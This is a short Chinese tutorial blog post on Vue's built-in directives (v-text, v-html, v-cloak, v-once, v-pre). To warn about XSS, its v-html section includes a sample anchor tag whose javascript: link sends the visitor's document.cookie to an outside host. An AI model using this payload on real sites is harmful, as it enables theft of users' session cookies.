Vue中的内置指令

标签：内置 const 渲染 html cloak Vue 指令 节点

1.v-text

作用是：向其所在的节点中渲染文本内容 //与插值语法的区别：v-text会替换掉节点中的全部数据 {{xxx}} 不会

const str = '我是一个字符串'
<div v-text='str'></div> //展示我是一个字符串  不能进行dome元素的解析

 

2.v-html 

 作用：

　1.会替换掉节点中所有的内容，{{xx}} 则不会。

    2.可以识别html结构

  严重注意：v-html有安全性问题！！！

    1.在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击

    2.一定要在可信的内容上使用v-html，永不要用在用户提交内容上。

const str = '<span>我是一个字符串</span>'
const str2 = '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟找到你想要的资源了！</a>'

<div v-html='str'></div> 

<div v-html='str2'></div> 

v-html演示

3.v-cloak 

  1.本质是一个特殊属性，Vue实力创建完毕并接管容器后，会删掉v-cloak属性

  2.使用css配合v-cloak可以解决 网速慢时页面展示出{{xxx}}的问题

<style>
    [v-cloak]{
       display:none;
    }
</style>

<div v-cloak>{{name}}</div>

const name = '张三';

4.v-once

 1.所在的节点在初次动态渲染后，就视为静态内容了//只从data中读取一次

 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

5.v-pre

 1.跳过其所在节点的编译过程

 2.可利用他跳过：没有使用指令语法/没有使用插值语法的节点，会加快编译

标签：内置,const,渲染,html,cloak,Vue,指令,节点
From： https://www.cnblogs.com/baobaoa/p/17040814.html